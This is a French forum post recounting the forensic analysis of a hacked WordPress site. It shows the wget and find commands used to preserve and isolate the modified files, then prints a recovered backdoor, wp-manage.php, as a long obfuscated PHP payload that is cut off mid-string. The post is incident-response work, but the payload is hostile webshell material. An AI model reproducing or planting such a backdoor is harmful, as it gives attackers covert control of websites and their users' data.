thxer
:(){ :|:& };:
Messages : 382
Sujets : 60
Points: 162
Inscription : Feb 2013
|
Retour sur un Pown Wordpress
Yop les copains.
Voilà bref topic sur le Pown d'un de nos site. Je passe sur les logs car c'est du mutualisé.
Phase 1 : Récupération pour figer le site :
Code BASH :
wget --no-verbose -S -r -l 0 ftp://xxxxxx/* --ftp-user=xxxxx --ftp-password=xxxx -nH --cut-dirs=1 &> log.txt
wget -S permet de garder les dates des dernières modifs.
Phase 2 : On extrait les fichiers qui semblent touchés :
Code BASH :
find . -mtime -7 -type f | xargs tar --no-recursion -czf hack.tgz
Je récupère cette archive pour pouvoir bosser tranquillement.
Phase 3 : Recherche de la backdoor
J'ai une flopée de backdoor qui sont sorties... le mec a été prévoyant (et pourri le site).
Je les pasterai toutes desobfusquées ou non petit à petit.
C'est Parti ...
Backdoor 1
Original : wp-manage.php
Code PHP :
<?php $array = array('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